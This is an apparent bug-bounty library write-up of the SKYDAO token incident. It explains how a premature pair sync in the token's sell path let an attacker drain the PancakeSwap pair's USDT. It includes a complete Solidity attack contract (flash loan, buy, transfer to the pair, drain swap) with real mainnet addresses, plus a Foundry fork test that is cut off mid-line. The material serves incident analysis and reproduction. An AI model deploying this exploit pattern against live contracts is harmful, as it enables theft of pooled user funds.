# SKYDAO: premature sync in sell path drains pair USDT

SKYDAO sell path burns pair SKY and syncs before crediting net tokens, latching reserve1 near zero so a direct pair.swap drains all 183k USDT.

- Payout: Real-world hack
- Severity: critical
- Program: SKYDAO
- Analysis by: DeFiHackLabs
- Disclosed: 2026-09-30
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2026-09/SKYDAO_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20260930-skydao
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:oracle-manipulation

**Target:** SKYDAO token sell path / PancakeSwap V2 SKYDAO-USDT pair
**Root cause:** On a sell, SKYDAO._transfer hands the gross amount to the pool controller which controlburns the pair's SKY to dEaD and calls pair.sync() before the seller's net 65% is credited, latching stored reserve1 at ~0 while real balance is huge.
**Steps:**
1. Flash-borrow 2,656,932.603895 USDT from Moolah (fee-free).
2. Buy SKY via router `swapExactTokensForTokensSupportingFeeOnTransferTokens(435,367.433949 USDT, path USDT->SKY)` (~3.9015e27 SKY after 35% buy tax).
3. `SKY.transfer(pair, fullBalance)` triggers sell path: 35% to controller, controller sells tax, controlburn(pair->dEaD, gross) + pair.sync() latches reserve1~0, then net 65% credited to pair.
4. Read `PAIR.getReserves()` and call `PAIR.swap(reserve0-1, 0, self)` against stale ~0 SKY reserve to drain ~495,281.556835 USDT.
5. Repay flash loan; keep 59,914.122886 USDT profit.
**How found:** Verified SKYDAO source plus on-chain trace showed the sell branch calls controller.sellToken(gross) and controlburn(gross) which syncs the pair before _basicTransfer credits the net amount, creating a reserve/balance mismatch exploitable by direct swap.
**Exploitation:** Fee-free flash loan funds a router buy, then a direct transfer to the pair invokes the taxed sell path whose controller burns the pair's SKY and syncs before the net tokens land; the resulting stale near-zero reserve1 lets a direct pair.swap pass the K check and pay out the pair's entire USDT reserve, repaid from the drained funds.
**Insight:** When a token's transfer hook calls pair.sync() or burns from the pair mid-transfer, check ordering of sync vs. net credit: a stale reserve1 lets a direct pair.swap bypass the K invariant even without a router.

## Proof of concept (copied exactly from the original report)

**Attack contract: flash loan, buy, sell, drain swap**

```
contract SKYDAOAttack is IMoolahFlashLoanCallback {
    IMoolah internal constant MOOLAH = IMoolah(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C);
    IPancakeRouter internal constant ROUTER = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 internal constant SKY = IERC20(0x7eBa33c7a0e555D115277BA4Af04DFbB4F4Fa70c);
    IPancakePair internal constant PAIR = IPancakePair(0x096e08ddA1E18625fFdfBae4BB65a414Aa7eC2c8);

    // Exact on-chain sizing (wei).
    uint256 internal constant LOAN = 2_656_932_603_895_226_812_594_665; // 2,656,932.603895 USDT (all Moolah held)
    uint256 internal constant BUY = 435_367_433_949_137_634_279_573; // 435,367.433949 USDT spent on the buy

    function attack() external returns (uint256 profit) {
        MOOLAH.flashLoan(address(USDT), LOAN, "");
        profit = USDT.balanceOf(address(this)); // net USDT kept after repaying the flash loan
    }

    function onMoolahFlashLoan(uint256 assets, bytes calldata) external override {
        require(msg.sender == address(MOOLAH), "not moolah");

        // Step 2: buy SKYDAO through the real router (handles the 35% fee-on-transfer buy tax).
        USDT.approve(address(ROUTER), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(USDT);
        path[1] = address(SKY);
        ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(BUY, 0, path, address(this), block.timestamp);

        // Step 3: sell by transferring the whole SKY stack into the pair. This triggers the controller's
        // tax-sell + controlburn + premature sync, then credits the net 65% to the pair - so the pair's real
        // SKY balance ends up far above its freshly-synced (~0) stored reserve.
        SKY.transfer(address(PAIR), SKY.balanceOf(address(this)));

        // Step 4: direct swap against the stale reserve. reserve0 (USDT) is still the full pair balance; the
        // net SKY the sell just deposited is the swap input, and the ~0 stored SKY reserve makes the K check
        // trivial, so we pull out essentially all of the pair's USDT.
        (uint112 reserve0,,) = PAIR.getReserves(); // token0 = USDT
        PAIR.swap(uint256(reserve0) - 1, 0, address(this), "");

        // Step 5: repay the fee-free flash loan (Moolah pulls `assets` via transferFrom).
        USDT.approve(address(MOOLAH), assets);
    }
}
```

**Foundry test setup with fork and expected profit**

```
contract SKYDAO_exp is BaseTestWithBalanceLog {
    IERC20 internal constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IPancakePair internal constant PAIR = IPancakePair(0x096e08ddA1E18625fFdfBae4BB65a414Aa7eC2c8);
    SKYDAOAttack internal atk;

    uint256 internal constant FORK_BLOCK = 124_921_241; // parent of the exploit block 124921242
    uint256 internal constant EXPECTED_PROFIT = 59_914_122_886_306_033_123_041; // 59,914.122886 USDT
    uint256 internal constant EXPECTED_PAIR_LOSS = 183_482_883_991_401_873_856_912; // 183,482.883991 USDT

    function setUp() public {
        vm.createSelectFork("https://bsc-mainnet.public.blastapi.io", FORK_BLOCK);
        atk = new SKYDAOAttack();
        fundingToken = address(USDT);
        attacker = address(atk);
        vm.label(address(atk), "Attacker");
        vm.label(0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8
```

